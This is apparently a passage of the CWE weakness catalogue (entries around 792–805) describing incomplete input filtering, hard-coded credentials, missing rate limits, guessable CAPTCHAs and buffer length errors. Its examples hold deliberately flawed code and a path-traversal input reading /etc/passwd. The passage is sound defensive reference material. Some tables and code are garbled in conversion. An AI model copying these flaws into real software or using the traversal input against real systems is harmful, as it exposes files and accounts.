Incomplete filtering of this nature may be applied to sequential elements (special elements that appear next to each other) or non-sequential elements (special elements that appear multiple times in different locations).

**Common Consequences**

- Integrity
- Unexpected state

**Demonstrative Examples**

The following code takes untrusted input and uses a regular expression to filter "/../" from the input. It then appends this result to the /home/user/ directory and attempts to read the file in the final resulting path.

**Perl Example:**

```
my $Username = GetUntrustedInput();
$Username =~ s/\./\//;
my $filename = "/home/user/" . $Username;
ReadAndSendFile($filename);
```

Since the regular expression does not have the /g global match modifier, it only removes the first instance of "/../" it comes across. So an input value such as:

```
../../../etc/passwd
```

will have the first "/../" stripped, resulting in:

```
../../etc/passwd
```

This value is then concatenated with the /home/user/ directory:

```
/home/user/../../etc/passwd
```

which causes the /etc/passwd file to be retrieved once the operating system has resolved the ../ sequences in the pathname. This leads to relative path traversal (CWE-23).
CWE Version 2.11

CWE-795: Only Filtering Special Elements at a Specified Location

Nature
ChildOf

Type

ID
792

Name
Incomplete Filtering of One or More Instances of Special
Elements

699
1000

Page
1218

CWE-795: Only Filtering Special Elements at a Specified
Location
Weakness ID: 795 (Weakness Base)

Status: Incomplete

Description

Summary

Extended Description
A filter might only account for instances of special elements when they occur:
relative to a marker (e.g. "at the beginning/end of string; the second argument"), or
at an absolute position (e.g. "byte number 10").
This may leave special elements in the data that did not match the filter position, but still may be
dangerous.
Common Consequences
Integrity
Unexpected state
Demonstrative Examples
The following code takes untrusted input and uses a regular expression to filter a "../" element
located at the beginning of the input string. It then appends this result to the /home/user/ directory
and attempts to read the file in the final resulting path.
Perl Example:
Bad Code
my $Username = GetUntrustedInput();
$Username =~ s/^\.\.\///;
my $filename = "/home/user/" . $Username;
ReadAndSendFile($filename);

Since the regular expression is only looking for an instance of "../" at the beginning of the string, it
only removes the first "../" element. So an input value such as:
Attack

../../../etc/passwd

will have the first "../" stripped, resulting in:
Result

../../etc/passwd

This value is then concatenated with the /home/user/ directory:
Result

/home/user/../../etc/passwd

which causes the /etc/passwd file to be retrieved once the operating system has resolved the ../
sequences in the pathname. This leads to relative path traversal (CWE-22).
Relationships
Nature
ChildOf

Type

ID
791

Name
Incomplete Filtering of Special Elements

ParentOf

796

Only Filtering Special Elements Relative to a Marker

ParentOf

797

Only Filtering Special Elements at an Absolute Position

699
1000
699
1000
699
1000

Page
1217
1222
1222

1221

CWE-795: Only Filtering Special Elements at a Specified Location

The software receives data from an upstream component, but only accounts for special elements
at a specified location, thereby missing remaining special elements that may exist before sending
it to a downstream component.


CWE-796: Only Filtering Special Elements Relative to a Marker

Weakness ID: 796 (Weakness Variant)  Status: Incomplete

Description
Summary
The software receives data from an upstream component, but only accounts for special elements positioned relative to a marker (e.g. "at the beginning/end of a string; the second argument"), thereby missing remaining special elements that may exist before sending it to a downstream component.

Common Consequences
Integrity
Unexpected state

Demonstrative Examples
The following code takes untrusted input and uses a regular expression to filter a "/.//" element located at the beginning of the input string. It then appends this result to the /home/user/ directory and attempts to read the file in the final resulting path.

Perl Example:

```
my $Username = GetUntrustedInput();
$username =~ s/^\.\./\.;
my $filename = "/home/user/" . $Username;
ReadAndSendFile($filename);
```

Since the regular expression is only looking for an instance of "/.//" at the beginning of the string, it only removes the first "/.//" element. So an input value such as:

```
Attack
../../../etc/passwd
```

will have the first "/.//" stripped, resulting in:

```
Result
../../etc/passwd
```

This value is then concatenated with the /home/user/ directory:

```
Result
/home/user/../../etc/passwd
```

which causes the /etc/passwd file to be retrieved once the operating system has resolved the "/.//" sequences in the pathname. This leads to relative path traversal (CWE-22).

Relationships

CWE-797: Only Filtering Special Elements at an Absolute Position

Weakness ID: 797 (Weakness Variant)  Status: Incomplete

Description
Summary
The software receives data from an upstream component, but only accounts for special elements at an absolute position (e.g. "byte number 10"), thereby missing remaining special elements that may exist before sending it to a downstream component.

Common Consequences
Integrity
Unexpected state
Demonstrative Examples
The following code takes untrusted input and uses a substring function to filter a 3-character "./" element located at the 0-index position of the input string. It then appends this result to the /home/user/ directory and attempts to read the file in the final resulting path.

Perl Example:

```perl
my $Username = GetUntrustedInput();
if (substr($Username, 0, 3) eq './') {
    $Username = substr($Username, 3);
}
my $filename = "/home/user/" . $Username;
ReadAndSendFile($filename);
```

Since the if function is only looking for a substring of "./" between the 0 and 2 position, it only removes that specific "./" element. So an input value such as:

```
../../../etc/passwd
```

will have the first "./" filtered, resulting in:

```
../../etc/passwd
```

This value is then concatenated with the /home/user/ directory:

```
/home/user/../../etc/passwd
```

which causes the /etc/passwd file to be retrieved once the operating system has resolved the ../ sequences in the pathname. This leads to relative path traversal (CWE-22).

Relationships

<table>
<thead>
<tr>
<th>Nature</th>
<th>Type</th>
<th>ID</th>
<th>Name</th>
<th>Page</th>
</tr>
</thead>
<tbody>
<tr>
<td>ChildOf</td>
<td></td>
<td>795</td>
<td>Only Filtering Special Elements at a Specified Location</td>
<td>699</td>
</tr>
</tbody>
</table>

CWE-798: Use of Hard-coded Credentials

Weakness ID: 798 (Weakness Base) Status: Incomplete

Description

Summary
The software contains hard-coded credentials, such as a password or cryptographic key, which it uses for its own inbound authentication, outbound communication to external components, or encryption of internal data.

Extended Description
Hard-coded credentials typically create a significant hole that allows an attacker to bypass the authentication that has been configured by the software administrator. This hole might be difficult for the system administrator to detect. Even if detected, it can be difficult to fix, so the administrator may be forced into disabling the product entirely. There are two main variations:

Inbound: the software contains an authentication mechanism that checks the input credentials against a hard-coded set of credentials.

Outbound: the software connects to another system or component, and it contains hard-coded credentials for connecting to that component.

In the Inbound variant, a default administration account is created, and a simple password is hard-coded into the product and associated with that account. This hard-coded password is the same for each installation of the product, and it usually cannot be changed or disabled by system administrators without manually modifying the program, or otherwise patching the software. If the password is ever discovered or published (a common occurrence on the Internet), then anybody with knowledge of this password can access the product. Finally, since all installations of the
software will have the same password, even across different organizations, this enables massive attacks such as worms to take place.

The Outbound variant applies to front-end systems that authenticate with a back-end service. The back-end service may require a fixed password which can be easily discovered. The programmer may simply hard-code those back-end credentials into the front-end software. Any user of that program may be able to extract the password. Client-side systems with hard-coded passwords pose even more of a threat, since the extraction of a password from a binary is usually very simple.

**Time of Introduction**
- Architecture and Design

**Applicable Platforms**

**Languages**
- Language-independent

**Architectural Paradigms**
- Mobile Application

**Common Consequences**

**Access Control**

**Bypass protection mechanism**
- If hard-coded passwords are used, it is almost certain that malicious users will gain access to the account in question.

**Integrity**

**Confidentiality**

**Availability**

**Access Control**

**Other**

**Read application data**

**Gain privileges / assume identity**

**Execute unauthorized code or commands**

**Other**
- This weakness can lead to the exposure of resources or functionality to unintended actors, possibly providing attackers with sensitive information or even execute arbitrary code.

**Likelihood of Exploit**

- Very High

**Detection Methods**

**Black Box**

- Credential storage in configuration files is findable using black box methods, but the use of hard-coded credentials for an incoming authentication routine typically involves an account that is not visible outside of the code.

**Automated Static Analysis**

- Automated white box techniques have been published for detecting hard-coded credentials for incoming authentication, but there is some expert disagreement regarding their effectiveness and applicability to a broad range of methods.

**Manual Static Analysis**

- This weakness may be detectable using manual code analysis. Unless authentication is decentralized and applied throughout the software, there can be sufficient time for the analyst to find incoming authentication routines and examine the program logic looking for usage of hard-coded credentials. Configuration files could also be analyzed.

- These may be more effective than strictly automated techniques. This is especially the case with weaknesses that are related to design and business rules.
Manual Dynamic Analysis
For hard-coded credentials in incoming authentication: use monitoring tools that examine the software's process as it interacts with the operating system and the network. This technique is useful in cases when source code is unavailable, if the software was not developed by you, or if you want to verify that the build phase did not introduce any new weaknesses. Examples include debuggers that directly attach to the running process; system-call tracing utilities such as truss (Solaris) and strace (Linux); system activity monitors such as FileMon, RegMon, Process Monitor, and other Sysinternals utilities (Windows); and sniffers and protocol analyzers that monitor network traffic.

Attach the monitor to the process and perform a login. Using call trees or similar artifacts from the output, examine the associated behaviors and see if any of them appear to be comparing the input to a fixed string or value.

Automated Static Analysis - Binary / Bytecode
SOAR Partial
According to SOAR, the following detection techniques may be useful:
- Cost effective for partial coverage:
  - Bytecode Weakness Analysis - including disassembler + source code weakness analysis
  - Binary Weakness Analysis - including disassembler + source code weakness analysis

Manual Static Analysis - Binary / Bytecode
SOAR High
According to SOAR, the following detection techniques may be useful:
- Highly cost effective:
  - Binary / Bytecode disassembler - then use manual analysis for vulnerabilities & anomalies

Dynamic Analysis with manual results interpretation
SOAR Partial
According to SOAR, the following detection techniques may be useful:
- Cost effective for partial coverage:
  - Network Sniffer
  - Forced Path Execution

Manual Static Analysis - Source Code
SOAR High
According to SOAR, the following detection techniques may be useful:
- Highly cost effective:
  - Focused Manual Spotcheck - Focused manual analysis of source
  - Manual Source Code Review (not inspections)

Automated Static Analysis - Source Code
SOAR High
According to SOAR, the following detection techniques may be useful:
- Highly cost effective:
  - Source code Weakness Analyzer
  - Context-configured Source Code Weakness Analyzer

Automated Static Analysis
SOAR Partial
According to SOAR, the following detection techniques may be useful:
- Cost effective for partial coverage:
  - Configuration Checker

Architecture / Design Review
SOAR High
According to SOAR, the following detection techniques may be useful:
- Highly cost effective:
  - Inspection (IEEE 1028 standard) (can apply to requirements, design, source code, etc.)
  - Formal Methods / Correct-By-Construction
Demonstrative Examples

Example 1:
The following code uses a hard-coded password to connect to a database:

Java Example:
```
... 
DriverManager.getConnection(url, "scott", "tiger"); 
... 
```

This is an example of an external hard-coded password on the client-side of a connection. This code will run successfully, but anyone who has access to it will have access to the password. Once the program has shipped, there is no going back from the database user "scott" with a password of "tiger" unless the program is patched. A devious employee with access to this information can use it to break into the system. Even worse, if attackers have access to the bytecode for application, they can use the javap -c command to access the disassembled code, which will contain the values of the passwords used. The result of this operation might look something like the following for the example above:

```
javap -c ConnMngr.class 
22: ldc #36; //String jdbc:mysql://ixne.com/rxsql 
24: ldc #38; //String scott 
26: ldc #17; //String tiger 
```

Example 2:
The following code is an example of an internal hard-coded password in the back-end:

C/C++ Example:
```
int VerifyAdmin(char *password) { 
if (strcmp(password, "Mew!")) { 
 printf("Incorrect Password!
"); 
 return(0) 
 } 
 printf("Entering Diagnostic Mode...
"); 
 return(1); 
}
```

Java Example:
```
int VerifyAdmin(String password) { 
if (passwd.Equals("Mew!")) { 
 return(0) 
 } 
//Diagnostic Mode 
return(1); 
}
```

Every instance of this program can be placed into diagnostic mode with the same password. Even worse is the fact that if this program is distributed as a binary-only distribution, it is very difficult to change that password or disable this "functionality."

Example 3:
The following code examples attempt to verify a password using a hard-coded cryptographic key.

C/C++ Example:
```
int VerifyAdmin(char *password) { 
if (strcmp(password,"68af404b513073584c4b6f22b6c63e6b")) { 
 printf("Incorrect Password!
"); 
 return(0) 
 } 
 printf("Entering Diagnostic Mode...
"); 
 return(1); 
}
```

Java Example:
```
public boolean VerifyAdmin(String password) {
```
if (password.equals("68af404b513073584c4b6f22b6c63e6b")) {
    System.out.println("Entering Diagnostic Mode...");
    return true;
} System.out.println("Incorrect Password!");
return false;

C# Example:

int VerifyAdmin(String password) {
    if (password.Equals("68af404b513073584c4b6f22b6c63e6b")) {
        Console.WriteLine("Entering Diagnostic Mode..");
        return(1);
    } Console.WriteLine("Incorrect Password!");
    return(0);
}

The cryptographic key is within a hard-coded string value that is compared to the password. It is likely that an attacker will be able to read the key and compromise the system.

Example 4:
The following examples show a portion of properties and configuration files for Java and ASP.NET applications. The files include username and password information but they are stored in plaintext. This Java example shows a properties file with a plaintext username / password pair.

Java Example:

# Java Web App ResourceBundle properties file
... 
webapp.ldap.username=secretUsername
webapp.ldap.password=secretPassword
...

The following example shows a portion of a configuration file for an ASP.Net application. This configuration file includes username and password information for a connection to a database but the pair is stored in plaintext.

ASP.NET Example:

... 
<connectionStrings>
<add name="ud_DEV" connectionString="connectDB=uDB; uid=db2admin; pwd=password; dbalias=uDB;" 
    providerName="System.Data.Odbc" />
</connectionStrings>
...

Username and password information should not be included in a configuration file or a properties file in plaintext as this will allow anyone who can read the file access to the resource. If possible, encrypt this information and avoid CWE-260 and CWE-13.

Observed Examples

<table>
<thead>
<tr>
<th>Reference</th>
<th>Description</th>
</tr>
</thead>
<tbody>
<tr>
<td>CVE-2005-0496</td>
<td>Backup product contains hard-coded credentials that effectively serve as a back door, which allows remote attackers to access the file system</td>
</tr>
<tr>
<td>CVE-2005-3716</td>
<td>VoIP product uses unchangeable hard-coded public credentials that cannot be changed, which allows attackers to obtain sensitive information</td>
</tr>
<tr>
<td>CVE-2005-3803</td>
<td>VoIP product uses hard coded public and private SNMP community strings that cannot be changed, which allows remote attackers to obtain sensitive information</td>
</tr>
<tr>
<td>CVE-2006-7142</td>
<td>Drive encryption product stores hard-coded cryptographic keys for encrypted configuration files in executable programs</td>
</tr>
<tr>
<td>CVE-2008-0961</td>
<td>Backup product uses hard-coded username and password, allowing attackers to bypass authentication via the RPC interface</td>
</tr>
<tr>
<td>CVE-2008-1160</td>
<td>Security appliance uses hard-coded password allowing attackers to gain root access</td>
</tr>
<tr>
<td>CVE-2008-2369</td>
<td>Server uses hard-coded authentication key</td>
</tr>
<tr>
<td>CVE-2010-1573</td>
<td>Chain: Router firmware uses hard-coded username and password for access to debug functionality, which can be used to execute arbitrary code</td>
</tr>
<tr>
<td>CVE-2010-2073</td>
<td>FTP server library uses hard-coded usernames and passwords for three default accounts</td>
</tr>
</tbody>
</table>
### CWE-798: Use of Hard-coded Credentials

<table>
<thead>
<tr>
<th>Reference</th>
<th>Description</th>
</tr>
</thead>
<tbody>
<tr>
<td>CVE-2010-2772</td>
<td>SCADA system uses a hard-coded password to protect back-end database containing authorization information, exploited by Stuxnet worm</td>
</tr>
</tbody>
</table>

#### Potential Mitigations

**Architecture and Design**

For outbound authentication: store passwords, keys, and other credentials outside of the code in a strongly-protected, encrypted configuration file or database that is protected from access by all outsiders, including other local users on the same system. Properly protect the key (CWE-320). If you cannot use encryption to protect the file, then make sure that the permissions are as restrictive as possible [R.798.1].

In Windows environments, the Encrypted File System (EFS) may provide some protection.

**Architecture and Design**

For inbound authentication: Rather than hard-code a default username and password, key, or other authentication credentials for first time logins, utilize a “first login” mode that requires the user to enter a unique strong password or key.

**Architecture and Design**

If the software must contain hard-coded credentials or they cannot be removed, perform access control checks and limit which entities can access the feature that requires the hard-coded credentials. For example, a feature might only be enabled through the system console instead of through a network connection.

**Architecture and Design**

For inbound authentication using passwords: apply strong one-way hashes to passwords and store those hashes in a configuration file or database with appropriate access control. That way, theft of the file/database still requires the attacker to try to crack the password. When handling an incoming password during authentication, take the hash of the password and compare it to the saved hash.

Use randomly assigned salts for each separate hash that is generated. This increases the amount of computation that an attacker needs to conduct a brute-force attack, possibly limiting the effectiveness of the rainbow table method.

**Architecture and Design**

For front-end to back-end connections: Three solutions are possible, although none are complete. The first suggestion involves the use of generated passwords or keys that are changed automatically and must be entered at given time intervals by a system administrator. These passwords will be held in memory and only be valid for the time intervals.

Next, the passwords or keys should be limited at the back end to only performing actions valid for the front end, as opposed to having full access.

Finally, the messages sent should be tagged and checksummed with time sensitive values so as to prevent replay-style attacks.

#### Weakness Ordinalities

**Primary (where the weakness exists independent of other weaknesses)**

<table>
<thead>
<tr>
<th>Nature</th>
<th>Type</th>
<th>ID</th>
<th>Name</th>
<th>Page</th>
</tr>
</thead>
<tbody>
<tr>
<td>ChildOf</td>
<td>C</td>
<td>254</td>
<td>Security Features</td>
<td>700  453</td>
</tr>
<tr>
<td>ChildOf</td>
<td>C</td>
<td>255</td>
<td>Credentials Management</td>
<td>699  454</td>
</tr>
<tr>
<td></td>
<td></td>
<td></td>
<td></td>
<td>1003</td>
</tr>
<tr>
<td>PeerOf</td>
<td>B</td>
<td>257</td>
<td>Storing Passwords in a Recoverable Format</td>
<td>1000 457</td>
</tr>
<tr>
<td>ChildOf</td>
<td>C</td>
<td>287</td>
<td>Improper Authentication</td>
<td>1000 508</td>
</tr>
<tr>
<td>ChildOf</td>
<td>B</td>
<td>344</td>
<td>Use of Invariant Value in Dynamically Changing Context</td>
<td>1000 601</td>
</tr>
<tr>
<td>ChildOf</td>
<td>C</td>
<td>671</td>
<td>Lack of Administrator Control over Security</td>
<td>1000 1040</td>
</tr>
<tr>
<td>ChildOf</td>
<td>C</td>
<td>724</td>
<td>OWASP Top Ten 2004 Category A3 - Broken Authentication and Session Management</td>
<td>711 1120</td>
</tr>
<tr>
<td>ChildOf</td>
<td>C</td>
<td>753</td>
<td>2009 Top 25 - Porous Defenses</td>
<td>750 1146</td>
</tr>
<tr>
<td>ChildOf</td>
<td>C</td>
<td>803</td>
<td>2010 Top 25 - Porous Defenses</td>
<td>800 1232</td>
</tr>
</tbody>
</table>
CWE Version 2.11

CWE-799: Improper Control of Interaction Frequency

<table>
<thead>
<tr>
<th>Nature</th>
<th>Type</th>
<th>ID</th>
<th>Name</th>
<th>Page</th>
</tr>
</thead>
<tbody>
<tr>
<td>ChildOf</td>
<td>C</td>
<td>812</td>
<td>OWASP Top Ten 2010 Category A3 - Broken Authentication and Session Management</td>
<td>809</td>
</tr>
<tr>
<td>ChildOf</td>
<td>C</td>
<td>861</td>
<td>CERT Java Secure Coding Section 49 - Miscellaneous (MSC)</td>
<td>844</td>
</tr>
<tr>
<td>ChildOf</td>
<td>C</td>
<td>866</td>
<td>2011 Top 25 - Porous Defenses</td>
<td>900</td>
</tr>
<tr>
<td>ParentOf</td>
<td>C</td>
<td>259</td>
<td>Use of Hard-coded Password</td>
<td>699</td>
</tr>
<tr>
<td>ParentOf</td>
<td>C</td>
<td>321</td>
<td>Use of Hard-coded Cryptographic Key</td>
<td>699</td>
</tr>
<tr>
<td>MemberOf</td>
<td>V</td>
<td>884</td>
<td>CWE Cross-section</td>
<td>884</td>
</tr>
</tbody>
</table>

Causal Nature

Explicit (an explicit weakness resulting from behavior of the developer)

Taxonomy Mappings

<table>
<thead>
<tr>
<th>Mapped Taxonomy Name</th>
<th>Node ID</th>
<th>Mapped Node Name</th>
</tr>
</thead>
<tbody>
<tr>
<td>CERT Java Secure Coding</td>
<td>MSC03-J</td>
<td>Never hard code sensitive information</td>
</tr>
</tbody>
</table>

Related Attack Patterns

<table>
<thead>
<tr>
<th>CAPEC-ID</th>
<th>Attack Pattern Name</th>
<th>(CAPEC Version 2.10)</th>
</tr>
</thead>
<tbody>
<tr>
<td>70</td>
<td>Try Common(default) Usernames and Passwords</td>
<td></td>
</tr>
<tr>
<td>190</td>
<td>Reverse Engineer an Executable to Expose Assumed Hidden Functionality or Content</td>
<td></td>
</tr>
<tr>
<td>191</td>
<td>Read Sensitive Strings Within an Executable</td>
<td></td>
</tr>
</tbody>
</table>

References


CWE-799: Improper Control of Interaction Frequency

Weakness ID: 799 (Weakness Class) Status: Incomplete

Description

Summary
The software does not properly limit the number or frequency of interactions that it has with an actor, such as the number of incoming requests.

Extended Description
This can allow the actor to perform actions more frequently than expected. The actor could be a human or an automated process such as a virus or bot. This could be used to cause a denial of service, compromise program logic (such as limiting humans to a single vote), or other consequences. For example, an authentication routine might not limit the number of times an attacker can guess a password. Or, a web site might conduct a poll but only expect humans to vote a maximum of once a day.

Alternate Terms

Insufficient anti-automation
The term "insufficient anti-automation" focuses primarily on non-human actors such as viruses or bots, but the scope of this CWE entry is broader.

Brute force
Vulnerabilities that can be targeted using brute force attacks are often symptomatic of this weakness.

Time of Introduction

• Architecture and Design
• Implementation
• Operation

1229
Applicable Platforms
Languages
• Language-independent

Common Consequences
Availability
Access Control
Other
DoS: resource consumption (other)
Bypass protection mechanism
Other

Demonstrative Examples
In the following code a username and password is read from a socket and an attempt is made to authenticate the username and password. The code will continuously checked the socket for a username and password until it has been authenticated.

C/C++ Example:  
```c
char username[USERNAME_SIZE];
char password[PASSWORD_SIZE];
while (isValidUser == 0) {
    if (getNextMessage(socket, username, USERNAME_SIZE) > 0) {
        if (getNextMessage(socket, password, PASSWORD_SIZE) > 0) {
            isValidUser = AuthenticateUser(username, password);
        }
    }
}
return(SUCCESS);
```
This code does not place any restriction on the number of authentication attempts made. There should be a limit on the number of authentication attempts made to prevent brute force attacks as in the following example code.

C/C++ Example:  
```c
int count = 0;
while ((isValidUser == 0) && (count < MAX_ATTEMPTS)) {
    if (getNextMessage(socket, username, USERNAME_SIZE) > 0) {
        if (getNextMessage(socket, password, PASSWORD_SIZE) > 0) {
            isValidUser = AuthenticateUser(username, password);
        }
        count++;
    }
    if (isValidUser) {
        return(SUCCESS);
    }
    else {
        return(FAIL);
    }
}
```

Observed Examples

<table>
<thead>
<tr>
<th>Reference</th>
<th>Description</th>
</tr>
</thead>
<tbody>
<tr>
<td>CVE-2002-1876</td>
<td>Mail server allows attackers to prevent other users from accessing mail by sending large number of rapid requests.</td>
</tr>
</tbody>
</table>

Weakness Ordinalities

Primary (where the weakness exists independent of other weaknesses)

Relationships

<table>
<thead>
<tr>
<th>Nature</th>
<th>Type</th>
<th>ID</th>
<th>Name</th>
<th>Page</th>
</tr>
</thead>
<tbody>
<tr>
<td>ChildOf</td>
<td>C</td>
<td>438</td>
<td>Behavioral Problems</td>
<td>699</td>
</tr>
<tr>
<td>ChildOf</td>
<td>C</td>
<td>691</td>
<td>Insufficient Control Flow Management</td>
<td>1000</td>
</tr>
<tr>
<td>ChildOf</td>
<td>C</td>
<td>808</td>
<td>2010 Top 25 - Weaknesses On the Cusp</td>
<td>800</td>
</tr>
<tr>
<td>ChildOf</td>
<td>C</td>
<td>840</td>
<td>Business Logic Errors</td>
<td>699</td>
</tr>
<tr>
<td>ParentOf</td>
<td>C</td>
<td>307</td>
<td>Improper Restriction of Excessive Authentication Attempts</td>
<td>1000</td>
</tr>
</tbody>
</table>
### CWE-800: Weaknesses in the 2010 CWE/SANS Top 25 Most Dangerous Programming Errors

<table>
<thead>
<tr>
<th>Nature</th>
<th>Type</th>
<th>ID</th>
<th>Name</th>
<th>Page</th>
</tr>
</thead>
<tbody>
<tr>
<td>ParentOf</td>
<td></td>
<td>837</td>
<td>Improper Enforcement of a Single, Unique Action</td>
<td>699</td>
</tr>
</tbody>
</table>

### Taxonomy Mappings

<table>
<thead>
<tr>
<th>Mapped Taxonomy Name</th>
<th>Node ID</th>
<th>Mapped Node Name</th>
</tr>
</thead>
<tbody>
<tr>
<td>WASC</td>
<td>21</td>
<td>Insufficient Anti-Automation</td>
</tr>
</tbody>
</table>

### References


### CWE-801: 2010 Top 25 - Insecure Interaction Between Components

<table>
<thead>
<tr>
<th>Category ID: 801 (Category)</th>
<th>Status: Incomplete</th>
</tr>
</thead>
</table>

### Summary

Weaknesses in this category are listed in the "Insecure Interaction Between Components" section of the 2010 CWE/SANS Top 25 Programming Errors.
CWE Version 2.11
CWE-802: 2010 Top 25 - Risky Resource Management

<table>
<thead>
<tr>
<th>Nature</th>
<th>Type</th>
<th>ID</th>
<th>Name</th>
<th>Page</th>
</tr>
</thead>
<tbody>
<tr>
<td>ParentOf</td>
<td>78</td>
<td>Improper Neutralization of Special Elements used in an OS Command ('OS Command Injection')</td>
<td>800 121</td>
<td></td>
</tr>
<tr>
<td>ParentOf</td>
<td>79</td>
<td>Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting')</td>
<td>800 131</td>
<td></td>
</tr>
<tr>
<td>ParentOf</td>
<td>89</td>
<td>Improper Neutralization of Special Elements used in an SQL Command ('SQL Injection')</td>
<td>800 159</td>
<td></td>
</tr>
<tr>
<td>ParentOf</td>
<td>209</td>
<td>Information Exposure Through an Error Message</td>
<td>800 397</td>
<td></td>
</tr>
<tr>
<td>ParentOf</td>
<td>352</td>
<td>Cross-Site Request Forgery (CSRF)</td>
<td>800 612</td>
<td></td>
</tr>
<tr>
<td>ParentOf</td>
<td>362</td>
<td>Concurrent Execution using Shared Resource with Improper Synchronization ('Race Condition')</td>
<td>800 628</td>
<td></td>
</tr>
<tr>
<td>ParentOf</td>
<td>434</td>
<td>Unrestricted Upload of File with Dangerous Type</td>
<td>800 744</td>
<td></td>
</tr>
<tr>
<td>ParentOf</td>
<td>601</td>
<td>URL Redirection to Untrusted Site ('Open Redirect')</td>
<td>800 944</td>
<td></td>
</tr>
<tr>
<td>MemberOf</td>
<td>800</td>
<td>Weaknesses in the 2010 CWE/SANS Top 25 Most Dangerous Programming Errors</td>
<td>800 1231</td>
<td></td>
</tr>
</tbody>
</table>

References

CWE-803: 2010 Top 25 - Porous Defenses

<table>
<thead>
<tr>
<th>Nature</th>
<th>Type</th>
<th>ID</th>
<th>Name</th>
<th>Page</th>
</tr>
</thead>
<tbody>
<tr>
<td>ParentOf</td>
<td>22</td>
<td>Improper Limitation of a Pathname to a Restricted Directory ('Path Traversal')</td>
<td>800 30</td>
<td></td>
</tr>
<tr>
<td>ParentOf</td>
<td>98</td>
<td>Improper Control of Filename for Include/Require Statement in PHP Program ('PHP Remote File Inclusion')</td>
<td>800 184</td>
<td></td>
</tr>
<tr>
<td>ParentOf</td>
<td>120</td>
<td>Buffer Copy without Checking Size of Input ('Classic Buffer Overflow')</td>
<td>800 234</td>
<td></td>
</tr>
<tr>
<td>ParentOf</td>
<td>129</td>
<td>Improper Validation of Array Index</td>
<td>800 258</td>
<td></td>
</tr>
<tr>
<td>ParentOf</td>
<td>131</td>
<td>Incorrect Calculation of Buffer Size</td>
<td>800 269</td>
<td></td>
</tr>
<tr>
<td>ParentOf</td>
<td>190</td>
<td>Integer Overflow or Wraparound</td>
<td>800 361</td>
<td></td>
</tr>
<tr>
<td>ParentOf</td>
<td>494</td>
<td>Download of Code Without Integrity Check</td>
<td>800 837</td>
<td></td>
</tr>
<tr>
<td>ParentOf</td>
<td>754</td>
<td>Improper Check for Unusual or Exceptional Conditions</td>
<td>800 1146</td>
<td></td>
</tr>
<tr>
<td>ParentOf</td>
<td>770</td>
<td>Allocation of Resources Without Limits or Throttling</td>
<td>800 1178</td>
<td></td>
</tr>
<tr>
<td>MemberOf</td>
<td>800</td>
<td>Weaknesses in the 2010 CWE/SANS Top 25 Most Dangerous Programming Errors</td>
<td>800 1231</td>
<td></td>
</tr>
<tr>
<td>ParentOf</td>
<td>805</td>
<td>Buffer Access with Incorrect Length Value</td>
<td>800 1234</td>
<td></td>
</tr>
</tbody>
</table>

References
CWE-804: Guessable CAPTCHA

**Weakness ID:** 804 *(Weakness Base)*

**Description**

**Summary**
The software uses a CAPTCHA challenge, but the challenge can be guessed or automatically recognized by a non-human actor.

**Extended Description**
An automated attacker could bypass the intended protection of the CAPTCHA challenge and perform actions at a higher frequency than humanly possible, such as launching spam attacks. There can be several different causes of a guessable CAPTCHA:

- An audio or visual image that does not have sufficient distortion from the unobfuscated source image.
- A question is generated that with a format that can be automatically recognized, such as a math question.
- A question for which the number of possible answers is limited, such as birth years or favorite sports teams.
- A general-knowledge or trivia question for which the answer can be accessed using a data base, such as country capitals or popular actors.
- Other data associated with the CAPTCHA may provide hints about its contents, such as an image whose filename contains the word that is used in the CAPTCHA.

**Time of Introduction**
- Architecture and Design
- Implementation

**Applicable Platforms**

**Languages**
- Language-independent

**Technology Classes**
- Web-Server *(Sometimes)*

**Common Consequences**

**Access Control**

**Other**

**Bypass protection mechanism**

**Other**
When authorization, authentication, or another protection mechanism relies on CAPTCHA entities to ensure that only human actors can access certain functionality, then an automated attacker such as a bot may access the restricted functionality by guessing the CAPTCHA.

**Likelihood of Exploit**
- Medium to High
CWE Version 2.11
CWE-805: Buffer Access with Incorrect Length Value

Weakness Ordinalities
Primary (where the weakness exists independent of other weaknesses)

Relationships

<table>
<thead>
<tr>
<th>Nature</th>
<th>Type</th>
<th>ID</th>
<th>Name</th>
<th>Page</th>
</tr>
</thead>
<tbody>
<tr>
<td>ChildOf</td>
<td></td>
<td>287</td>
<td>Improper Authentication</td>
<td>699</td>
</tr>
<tr>
<td>ChildOf</td>
<td></td>
<td>330</td>
<td>Use of Insufficiently Random Values</td>
<td>699</td>
</tr>
<tr>
<td>ChildOf</td>
<td></td>
<td>808</td>
<td>2010 Top 25 - Weaknesses On the Cusp</td>
<td>780</td>
</tr>
<tr>
<td>ChildOf</td>
<td></td>
<td>863</td>
<td>Incorrect Authorization</td>
<td>699</td>
</tr>
</tbody>
</table>

Taxonomy Mappings

<table>
<thead>
<tr>
<th>Mapped Taxonomy Name</th>
<th>Node ID</th>
<th>Mapped Node Name</th>
</tr>
</thead>
<tbody>
<tr>
<td>WASC</td>
<td>21</td>
<td>Insufficient Anti-Automation</td>
</tr>
</tbody>
</table>

References


CWE-805: Buffer Access with Incorrect Length Value

Weakness ID: 805 (Weakness Base) Status: Incomplete

Description

Summary
The software uses a sequential operation to read or write a buffer, but it uses an incorrect length value that causes it to access memory that is outside of the bounds of the buffer.

Extended Description
When the length value exceeds the size of the destination, a buffer overflow could occur.

Time of Introduction
• Implementation

Applicable Platforms

Languages
• C (Often)
• C++ (Often)
• Assembly

Common Consequences

Integrity
Confidentiality
Availability

Execute unauthorized code or commands
Buffer overflows often can be used to execute arbitrary code, which is usually outside the scope of a program's implicit security policy. This can often be used to subvert any other security service.

Availability
DoS: crash / exit / restart
DoS: resource consumption (CPU)
Buffer overflows generally lead to crashes. Other attacks leading to lack of availability are possible, including putting the program into an infinite loop.

Likelihood of Exploit
Medium to High

Detection Methods
Automated Static Analysis

High
This weakness can often be detected using automated static analysis tools. Many modern tools use data flow analysis or constraint-based techniques to minimize the number of false positives. Automated static analysis generally does not account for environmental considerations when reporting out-of-bounds memory operations. This can make it difficult for users to determine which warnings should be investigated first. For example, an analysis tool might report buffer overflows that originate from command line arguments in a program that is not expected to run with setuid or other special privileges.
Detection techniques for buffer-related errors are more mature than for most other weakness types.

Automated Dynamic Analysis

Moderate
This weakness can be detected using dynamic tools and techniques that interact with the software using large test suites with many diverse inputs, such as fuzz testing (fuzzing), robustness testing, and fault injection. The software's operation may slow down, but it should not become unstable, crash, or generate incorrect results.
Without visibility into the code, black box methods may not be able to sufficiently distinguish this weakness from others, requiring manual methods to diagnose the underlying problem.

Manual Analysis

